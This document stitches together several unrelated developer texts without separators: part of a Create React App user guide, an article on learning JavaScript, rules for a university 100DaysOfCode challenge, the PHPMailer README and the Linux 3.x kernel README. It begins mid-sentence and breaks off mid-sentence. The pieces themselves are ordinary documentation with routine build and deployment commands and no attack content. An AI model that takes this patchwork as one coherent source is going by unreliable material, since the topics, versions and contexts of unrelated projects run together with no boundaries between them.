file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)

Must Do Coding Questions for Companies like Amazon, Microsoft, Adobe, etc. It also help to crack the technical inteviews.

What is JavaScript and what does it do? Before you start learning something new, it’s important to understand exactly what it is and what it does. This is especially useful when it comes to mastering a new programming language. In simple terms, JavaScript is a programming language used to make websites interactive. If you think about the basic makeup of a website, you have HTML, which describes and defines the basic content and structure of the website, then you have CSS, which tells the browser how this HTML content should be displayed—determining things like color and font. With just HTML and CSS, you have a website that looks good but doesn’t actually do much. JavaScript brings the website to life by adding functionality. JavaScript is responsible for elements that the user can interact with, such as drop-down menus, modal windows, and contact forms. It is also used to create things like animations, video players, and interactive maps. Nowadays, JavaScript is an all-purpose programming language—meaning it runs across the entire software stack. The most popular application of JavaScript is on the client side (aka frontend), but since Node.js came on the scene, many people run JavaScript on the server side (aka backend) as well. When used on the client side, JavaScript code is read, interpreted, and executed in the user’s web browser. When used on the server side, it is run on a remote computer. You can learn more about the difference between frontend and backend programming here. JavaScript isn’t only used to create websites. It can also be used to build browser-based games and, with the help of certain frameworks, mobile apps for different operating systems. The creation of new libraries and frameworks is also making it possible to build backend programs with JavaScript, such as web apps and server apps. Is it still worth learning JavaScript in 2021? The world of web development is constantly moving. With so many new tools popping up all the time, it can be extremely difficult to know where you should focus your efforts. As an aspiring developer, you’ll want to make sure that what you’re learning is still relevant in today’s industry. If you’re having doubts about JavaScript, it’s important to know that, since its creation in 1995, JavaScript is pretty much everywhere on the web—and that’s not likely to change any time soon. According to the 2020 StackOverflow developer survey, JavaScript is the most commonly used programming language for the eighth year in a row. It is currently used by 94.5% of all websites and, despite originally being designed as a client-side language, JavaScript has now made its way to the server-side of websites (thanks to Node.js), mobile devices (thanks to React Native and Ionic) and desktop (courtesy of Electron). As long as people are interacting with the web, you can assume that JavaScript is highly relevant—there’s no doubt that this is a language worth knowing! With that in mind, let’s look at some of the key benefits of becoming a JavaScript expert. Why learn JavaScript? The most obvious reason for learning JavaScript is if you have hopes of becoming a web developer. Even if you haven’t got your heart set on a tech career, being proficient in JavaScript will enable you to build websites from scratch—a pretty useful skill to have in today’s job market! If you do want to become a web developer, here are some of the main reasons why you should learn JavaScript: JavaScript experts are versatile JavaScript is an extremely versatile language. Once you’ve mastered it, the possibilities are endless: you can code on the client-side (frontend) using Angular and on the server-side (backend) using Node.js. You can also develop web, mobile, and desktop apps using React, React Native, and Electron, and you can even get involved in machine learning. If you want to become a frontend developer, JavaScript is a prerequisite. However, that’s not the only career path open to you as a JavaScript expert. Mastering this key programming language could see you go on to work in full-stack development, games development, information security software engineering, machine learning, and artificial intelligence—to name just a few! Ultimately, if you want any kind of development or engineering career, proficiency in JavaScript is a must. JavaScript experts are in-demand (and well-paid) JavaScript is the most popular programming language in the world, so it’s no wonder that JavaScript is one of the most sought-after skills in the web development industry today. According to the Devskiller IT Skills and Hiring Report 2020, 72% of companies are looking to hire JavaScript experts. Enter the search term “JavaScript” on job site Indeed and you’ll find over 40,000 jobs requiring this skill (in the US). Run the same search on LinkedIn and the results are in excess of 125,000. At the same time, the global demand for JavaScript seems to outweigh the expertise available on the market. According to this 2018 HackerRank report, 48% of employers worldwide need developers with JavaScript skills, while only 42% of student developers claim to be proficient in JavaScript. And, in their most recent report for 2020, HackerRank once again reports that JavaScript is the most popular language that hiring mangers look for in a web developer candidate. Not only are JavaScript experts in demand—they are also well-paid. In the United States, JavaScript developers earn an average yearly salary of $111,953 per year. We’ve covered this topic in more detail in our JavaScript salary guide, but as you can see, learning JavaScript can really boost your earning potential as a developer. JavaScript is beginner-friendly Compared to many other programming languages, JavaScript offers one of the more beginner-friendly entry points into the world of coding. The great thing about JavaScript is that it comes installed on every modern web browser—there’s no need to set up any kind of development environment, which means you can start coding with JavaScript right away! Another advantage of learning JavaScript as your first programming language is that you get instant feedback; with a minimal amount of JavaScript code, you’ll immediately see visible results. There’s also a huge JavaScript community on sites like Stack Overflow, so you’ll find plenty of support as you learn. Not only is JavaScript beginner-friendly; it will also set you up with some extremely valuable transferable skills. JavaScript supports object-oriented, functional, and imperative styles of programming—skills which can be transferred to any new language you might learn later on, such as Python, Java, or C++. JavaScript provides a crucial introduction to key principles and practices that you’ll take with you throughout your career as a developer. Should you learn plain JavaScript first or can you skip to frameworks and libraries? When deciding whether or not to learn JavaScript, what you’re really asking is whether or not you should learn “vanilla” JavaScript. Vanilla JavaScript just means plain JavaScript without any libraries or frameworks. Let’s explore what this means in more detail now. What is meant by vanilla JavaScript, libraries, and frameworks? If you research the term “vanilla JavaScript”, you might run into some confusion; however, all you need to know is that vanilla JavaScript is used to refer to native, standards-based, non-extended JavaScript. There is no difference between vanilla JavaScript and JavaScript—it’s just there to emphasize the usage of plain JavaScript without the use of libraries and frameworks. So what are libraries and frameworks? JavaScript libraries and frameworks both contain sets of prewritten, ready-to-use JavaScript code—but they’re not the same thing. You can think of a framework as your blueprint for building a website: it gives you a structure to work from, and contains ready-made components and tools that help you to build certain elements much quicker than if you were to code them from scratch. Some popular JavaScript frameworks include Angular, React, Vue, and Node.js. Frameworks also contain libraries. Libraries are smaller than frameworks, and tend to be used for more specific cases. A JavaScript library contains sets of JavaScript code which can be called upon to implement certain functions and features. Let’s imagine you want to code a particular element into your website. You could write, say, ten lines of JavaScript from scratch—or you could take the condensed, ready-made version from your chosen JavaScript library. Some examples of JavaScript libraries include jQuery, Lodash, and Underscore. The easiest way to understand how frameworks and libraries work together is to imagine you are building a house. The framework provides the foundation and the structure, while the library enables you to add in ready-made components (like furniture) rather than building your own from scratch. You can learn more about the relationship between languages and libraries in this post explaining the main differences between JavaScript and jQuery. For now, let’s go back to our original question: How important is it to learn vanilla JavaScript? Should you learn vanilla JavaScript first? When it comes to learning JavaScript, it can be tempting to skip ahead to those time-saving frameworks and libraries we just talked about—and many developers do. However, there are many compelling arguments for learning plain JavaScript first. While JavaScript frameworks may help you get the job done quicker, there’s only so far you can go if you don’t understand the core concepts behind these frameworks. Frontend developer Abhishek Nagekar describes how not learning vanilla JavaScript came back to bite him when he started learning the JavaScript frameworks Node and Express: “As I went to write more and more code in Node and Express, I began to get stuck at even the tiniest problems. Suddenly, I was surrounded with words like callbacks, closures, event loop and prototype. It felt like I got a reintroduction to JavaScript, but this time, it was not a toddler playing in its cradle, it was something of a mysterious monster, challenging me on every other step for not having taken it seriously.” The above Tweet references a long-running joke within the developer community, and although it dates way back to 2015, it’s still highly relevant today. If you want to become a developer who can innovate, not just execute, you need to understand the underlying principles of the web—not just the shortcuts. This means learning vanilla JavaScript before you move on to frameworks. In fact, understanding plain JavaScript will help you later on when it comes to deciding whether to use a framework for a certain project, and if so, which framework to use. Why Study JavaScript? JavaScript is one of the 3 languages all web developers must learn: 1. HTML to define the content of web pages 2. CSS to specify the layout of web pages 3. JavaScript to program the behavior of web pages Learning Speed In this tutorial, the learning speed is your choice. Everything is up to you. If you are struggling, take a break, or re-read the material. Always make sure you understand all the "Try-it-Yourself" examples. The only way to become a clever programmer is to: Practice. Practice. Practice. Code. Code. Code ! Commonly Asked Questions How do I get JavaScript? Where can I download JavaScript? Is JavaScript Free? You don't have to get or download JavaScript. JavaScript is already running in your browser on your computer, on your tablet, and on your smart-phone. JavaScript is free to use for everyone.

Rules In our version, of 100DaysOfCode, you need to do anything that helps you enhance your tech stack i.e. competitive coding, try learning a new language, read technical articles/ books, make open source contributions, add features to a personal project, etc. It's okay if you are not able to submit a pull request someday, you can resume it the next day, you will still be in the competition. Remember, life is not a sprint but a marathon, so is the path to learning and growning. Keep defining your short term goals (measurable) and strive hard to achieve them. (Eg. Getting better at competitive coding is not a measurable goal but achiving 2000 rating in Codechef is measurable) Update everyday progress and submit a pull request. (Optional) Follow 100DaysOfCode Twitter Bot that retweets the tweets that contain the #100DaysOfCode hashtag and timely tweet your progress with #100DaysOfCode hashtag. Try to add detailed description of what you did, add corresponding links, if you solve questions, you can add your codes in the same folder and provid a link in the README (not for active contests). We start the marathon on January 1, 2020. feel free to add your goals beforehand (they can also be added later). Benefits Coding will become a daily habit for you. Every day that you consistently code, you’ll build momentum. That momentum will make it easier for you to learn more advanced topics. The projects that you’ll build will be small in scope, so by the time you finish, you’ll have completed several of them — and gained a wide range of experience. Your GitHub profile will look extremely active. And yes, hiring managers and recruiters do look at these. You’ll get more comfortable contributing in open soruce. It will become a natural, ordinary thing to do. You’ll have a pretty good reason to stop procrastinating and start coding every day. Increase your efficiency by checking your daily progress and analysing it. Compare your progress with others and surpass your limits in learning each day. Recognition You will be provided with certificates on successful completiton of 100DaysOfCode. At the end of each month, goodies will be given to the top performers. A big surprise for the overall top performers in 100DaysOfCode. Note: Only the students in MNIT/ IIIT Kota/ NIT UK are elligible for prizes/ certificates. Pre-requisites Markdown: You need to update your README in Markdown (a lightweight markup language with plain text formatting syntax). No need to learn it you can always refer to the guide or use an online markdown editor. Basic git Basic knowledge of git and its workflow is a must. If you are not comfortable, feel free to ask for help. How to participate Fork the repository. In your fork, make a folder by the name of your github account. In your folder, make a file with the name README.md We have also provided a template which you can follow to set up README.md Update the progress in your README and submit a pull request. If you need more clarification, feel free to reach us at telegram.

PHPMailer PHPMailer – A full-featured email creation and transfer class for PHP Test status codecov.io Latest Stable Version Total Downloads License API Docs Features Probably the world's most popular code for sending email from PHP! Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! and many more Integrated SMTP support – send without a local mail server Send emails with multiple To, CC, BCC and Reply-to addresses Multipart/alternative emails for mail clients that do not read HTML email Add attachments, including inline Support for UTF-8 content and 8bit, base64, binary, and quoted-printable encodings SMTP authentication with LOGIN, PLAIN, CRAM-MD5, and XOAUTH2 mechanisms over SMTPS and SMTP+STARTTLS transports Validates email addresses automatically Protects against header injection attacks Error messages in over 50 languages! DKIM and S/MIME signing support Compatible with PHP 5.5 and later, including PHP 8.1 Namespaced to prevent name clashes Much more! Why you might need it Many PHP developers need to send email from their code. The only PHP function that supports this directly is mail(). However, it does not provide any assistance for making use of popular features such as encryption, authentication, HTML messages, and attachments. Formatting email correctly is surprisingly difficult. There are myriad overlapping (and conflicting) standards, requiring tight adherence to horribly complicated formatting and encoding rules – the vast majority of code that you'll find online that uses the mail() function directly is just plain wrong, if not unsafe! The PHP mail() function usually sends via a local mail server, typically fronted by a sendmail binary on Linux, BSD, and macOS platforms, however, Windows usually doesn't include a local mail server; PHPMailer's integrated SMTP client allows email sending on all platforms without needing a local mail server. Be aware though, that the mail() function should be avoided when possible; it's both faster and safer to use SMTP to localhost. Please don't be tempted to do it yourself – if you don't use PHPMailer, there are many other excellent libraries that you should look at before rolling your own. Try SwiftMailer , Laminas/Mail, ZetaComponents etc. License This software is distributed under the LGPL 2.1 license, along with the GPL Cooperation Commitment. Please read LICENSE for information on the software availability and distribution. Installation & loading PHPMailer is available on Packagist (using semantic versioning), and installation via Composer is the recommended way to install PHPMailer. Just add this line to your composer.json file: "phpmailer/phpmailer": "^6.5" or run composer require phpmailer/phpmailer Note that the vendor folder and the vendor/autoload.php script are generated by Composer; they are not part of PHPMailer. If you want to use the Gmail XOAUTH2 authentication class, you will also need to add a dependency on the league/oauth2-client package in your composer.json. Alternatively, if you're not using Composer, you can download PHPMailer as a zip file, (note that docs and examples are not included in the zip file), then copy the contents of the PHPMailer folder into one of the include_path directories specified in your PHP configuration and load each class file manually: <?php use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'path/to/PHPMailer/src/Exception.php'; require 'path/to/PHPMailer/src/PHPMailer.php'; require 'path/to/PHPMailer/src/SMTP.php'; If you're not using the SMTP class explicitly (you're probably not), you don't need a use line for the SMTP class. Even if you're not using exceptions, you do still need to load the Exception class as it is used internally. Legacy versions PHPMailer 5.2 (which is compatible with PHP 5.0 — 7.0) is no longer supported, even for security updates. You will find the latest version of 5.2 in the 5.2-stable branch. If you're using PHP 5.5 or later (which you should be), switch to the 6.x releases. Upgrading from 5.2 The biggest changes are that source files are now in the src/ folder, and PHPMailer now declares the namespace PHPMailer\PHPMailer. This has several important effects – read the upgrade guide for more details. Minimal installation While installing the entire package manually or with Composer is simple, convenient, and reliable, you may want to include only vital files in your project. At the very least you will need src/PHPMailer.php. If you're using SMTP, you'll need src/SMTP.php, and if you're using POP-before SMTP (very unlikely!), you'll need src/POP3.php. You can skip the language folder if you're not showing errors to users and can make do with English-only errors. If you're using XOAUTH2 you will need src/OAuth.php as well as the Composer dependencies for the services you wish to authenticate with. Really, it's much easier to use Composer! A Simple Example <?php //Import PHPMailer classes into the global namespace //These must be at the top of your script, not inside a function use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; //Load Composer's autoloader require 'vendor/autoload.php'; //Create an instance; passing `true` enables exceptions $mail = new PHPMailer(true); try { //Server settings $mail->SMTPDebug = SMTP::DEBUG_SERVER; //Enable verbose debug output $mail->isSMTP(); //Send using SMTP $mail->Host = 'smtp.example.com'; //Set the SMTP server to send through $mail->SMTPAuth = true; //Enable SMTP authentication $mail->Username = 'user@example.com'; //SMTP username $mail->Password = 'secret'; //SMTP password $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; //Enable implicit TLS encryption $mail->Port = 465; //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS` //Recipients $mail->setFrom('from@example.com', 'Mailer'); $mail->addAddress('joe@example.net', 'Joe User'); //Add a recipient $mail->addAddress('ellen@example.com'); //Name is optional $mail->addReplyTo('info@example.com', 'Information'); $mail->addCC('cc@example.com'); $mail->addBCC('bcc@example.com'); //Attachments $mail->addAttachment('/var/tmp/file.tar.gz'); //Add attachments $mail->addAttachment('/tmp/image.jpg', 'new.jpg'); //Optional name //Content $mail->isHTML(true); //Set email format to HTML $mail->Subject = 'Here is the subject'; $mail->Body = 'This is the HTML message body <b>in bold!</b>'; $mail->AltBody = 'This is the body in plain text for non-HTML mail clients'; $mail->send(); echo 'Message has been sent'; } catch (Exception $e) { echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}"; } You'll find plenty to play with in the examples folder, which covers many common scenarios including sending through gmail, building contact forms, sending to mailing lists, and more. If you are re-using the instance (e.g. when sending to a mailing list), you may need to clear the recipient list to avoid sending duplicate messages. See the mailing list example for further guidance. That's it. You should now be ready to use PHPMailer! Localization PHPMailer defaults to English, but in the language folder you'll find many translations for PHPMailer error messages that you may encounter. Their filenames contain ISO 639-1 language code for the translations, for example fr for French. To specify a language, you need to tell PHPMailer which one to use, like this: //To load the French version $mail->setLanguage('fr', '/optional/path/to/language/directory/'); We welcome corrections and new languages – if you're looking for corrections, run the PHPMailerLangTest.php script in the tests folder and it will show any missing translations. Documentation Start reading at the GitHub wiki. If you're having trouble, head for the troubleshooting guide as it's frequently updated. Examples of how to use PHPMailer for common scenarios can be found in the examples folder. If you're looking for a good starting point, we recommend you start with the Gmail example. To reduce PHPMailer's deployed code footprint, examples are not included if you load PHPMailer via Composer or via GitHub's zip file download, so you'll need to either clone the git repository or use the above links to get to the examples directly. Complete generated API documentation is available online. You can generate complete API-level documentation by running phpdoc in the top-level folder, and documentation will appear in the docs folder, though you'll need to have PHPDocumentor installed. You may find the unit tests a good reference for how to do various operations such as encryption. If the documentation doesn't cover what you need, search the many questions on Stack Overflow, and before you ask a question about "SMTP Error: Could not connect to SMTP host.", read the troubleshooting guide. Tests PHPMailer tests use PHPUnit 9, with a polyfill to let 9-style tests run on older PHPUnit and PHP versions. Test status If this isn't passing, is there something you can do to help? Security Please disclose any vulnerabilities found responsibly – report security issues to the maintainers privately. See SECURITY and PHPMailer's security advisories on GitHub. Contributing Please submit bug reports, suggestions and pull requests to the GitHub issue tracker. We're particularly interested in fixing edge-cases, expanding test coverage and updating translations. If you found a mistake in the docs, or want to add something, go ahead and amend the wiki – anyone can edit it. If you have git clones from prior to the move to the PHPMailer GitHub organisation, you'll need to update any remote URLs referencing the old GitHub location with a command like this from within your clone: git remote set-url upstream https://github.com/PHPMailer/PHPMailer.git Please don't use the SourceForge or Google Code projects any more; they are obsolete and no longer maintained. Sponsorship Development time and resources for PHPMailer are provided by Smartmessages.net, the world's only privacy-first email marketing system. Smartmessages.net privacy-first email marketing logo Donations are very welcome, whether in beer 🍺, T-shirts 👕, or cold, hard cash 💰. Sponsorship through GitHub is a simple and convenient way to say "thank you" to PHPMailer's maintainers and contributors – just click the "Sponsor" button on the project page. If your company uses PHPMailer, consider taking part in Tidelift's enterprise support programme. PHPMailer For Enterprise Available as part of the Tidelift Subscription. The maintainers of PHPMailer and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source packages you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact packages you use. Learn more. Changelog See changelog. History PHPMailer was originally written in 2001 by Brent R. Matzelle as a SourceForge project. Marcus Bointon (coolbru on SF) and Andy Prevost (codeworxtech) took over the project in 2004. Became an Apache incubator project on Google Code in 2010, managed by Jim Jagielski. Marcus created his fork on GitHub in 2008. Jim and Marcus decide to join forces and use GitHub as the canonical and official repo for PHPMailer in 2013. PHPMailer moves to the PHPMailer organisation on GitHub in 2013. What's changed since moving from SourceForge? Official successor to the SourceForge and Google Code projects. Test suite. Continuous integration with Github Actions. Composer support. Public development. Additional languages and language strings. CRAM-MD5 authentication support. Preserves full repo history of authors, commits and branches from the original SourceForge project.

Linux kernel release 3.x <http://kernel.org/> These are the release notes for Linux version 3. Read them carefully, as they tell you what this is all about, explain how to install the kernel, and what to do if something goes wrong. WHAT IS LINUX? Linux is a clone of the operating system Unix, written from scratch by Linus Torvalds with assistance from a loosely-knit team of hackers across the Net. It aims towards POSIX and Single UNIX Specification compliance. It has all the features you would expect in a modern fully-fledged Unix, including true multitasking, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management, and multistack networking including IPv4 and IPv6. It is distributed under the GNU General Public License - see the accompanying COPYING file for more details. ON WHAT HARDWARE DOES IT RUN? Although originally developed first for 32-bit x86-based PCs (386 or higher), today Linux also runs on (at least) the Compaq Alpha AXP, Sun SPARC and UltraSPARC, Motorola 68000, PowerPC, PowerPC64, ARM, Hitachi SuperH, Cell, IBM S/390, MIPS, HP PA-RISC, Intel IA-64, DEC VAX, AMD x86-64, AXIS CRIS, Xtensa, Tilera TILE, AVR32 and Renesas M32R architectures. Linux is easily portable to most general-purpose 32- or 64-bit architectures as long as they have a paged memory management unit (PMMU) and a port of the GNU C compiler (gcc) (part of The GNU Compiler Collection, GCC). Linux has also been ported to a number of architectures without a PMMU, although functionality is then obviously somewhat limited. Linux has also been ported to itself. You can now run the kernel as a userspace application - this is called UserMode Linux (UML). DOCUMENTATION: - There is a lot of documentation available both in electronic form on the Internet and in books, both Linux-specific and pertaining to general UNIX questions. I'd recommend looking into the documentation subdirectories on any Linux FTP site for the LDP (Linux Documentation Project) books. This README is not meant to be documentation on the system: there are much better sources available. - There are various README files in the Documentation/ subdirectory: these typically contain kernel-specific installation notes for some drivers for example. See Documentation/00-INDEX for a list of what is contained in each file. Please read the Changes file, as it contains information about the problems, which may result by upgrading your kernel. - The Documentation/DocBook/ subdirectory contains several guides for kernel developers and users. These guides can be rendered in a number of formats: PostScript (.ps), PDF, HTML, & man-pages, among others. After installation, "make psdocs", "make pdfdocs", "make htmldocs", or "make mandocs" will render the documentation in the requested format. INSTALLING the kernel source: - If you install the full sources, put the kernel tarball in a directory where you have permissions (eg. your home directory) and unpack it: gzip -cd linux-3.X.tar.gz | tar xvf - or bzip2 -dc linux-3.X.tar.bz2 | tar xvf - Replace "X" with the version number of the latest kernel. Do NOT use the /usr/src/linux area! This area has a (usually incomplete) set of kernel headers that are used by the library header files. They should match the library, and not get messed up by whatever the kernel-du-jour happens to be. - You can also upgrade between 3.x releases by patching. Patches are distributed in the traditional gzip and the newer bzip2 format. To install by patching, get all the newer patch files, enter the top level directory of the kernel source (linux-3.X) and execute: gzip -cd ../patch-3.x.gz | patch -p1 or bzip2 -dc ../patch-3.x.bz2 | patch -p1 Replace "x" for all versions bigger than the version "X" of your current source tree, _in_order_, and you should be ok. You may want to remove the backup files (some-file-name~ or some-file-name.orig), and make sure that there are no failed patches (some-file-name# or some-file-name.rej). If there are, either you or I have made a mistake. Unlike patches for the 3.x kernels, patches for the 3.x.y kernels (also known as the -stable kernels) are not incremental but instead apply directly to the base 3.x kernel. For example, if your base kernel is 3.0 and you want to apply the 3.0.3 patch, you must not first apply the 3.0.1 and 3.0.2 patches. Similarly, if you are running kernel version 3.0.2 and want to jump to 3.0.3, you must first reverse the 3.0.2 patch (that is, patch -R) _before_ applying the 3.0.3 patch. You can read more on this in Documentation/applying-patches.txt Alternatively, the script patch-kernel can be used to automate this process. It determines the current kernel version and applies any patches found. linux/scripts/patch-kernel linux The first argument in the command above is the location of the kernel source. Patches are applied from the current directory, but an alternative directory can be specified as the second argument. - Make sure you have no stale .o files and dependencies lying around: cd linux make mrproper You should now have the sources correctly installed. SOFTWARE REQUIREMENTS Compiling and running the 3.x kernels requires up-to-date versions of various software packages. Consult Documentation/Changes for the minimum version numbers required and how to get updates for these packages. Beware that using excessively old versions of these packages can cause indirect errors that are very difficult to track down, so don't assume that you can just update packages when obvious problems arise during build or operation. BUILD directory for the kernel: When compiling the kernel, all output files will per default be stored together with the kernel source code. Using the option "make O=output/dir" allow you to specify an alternate place for the output files 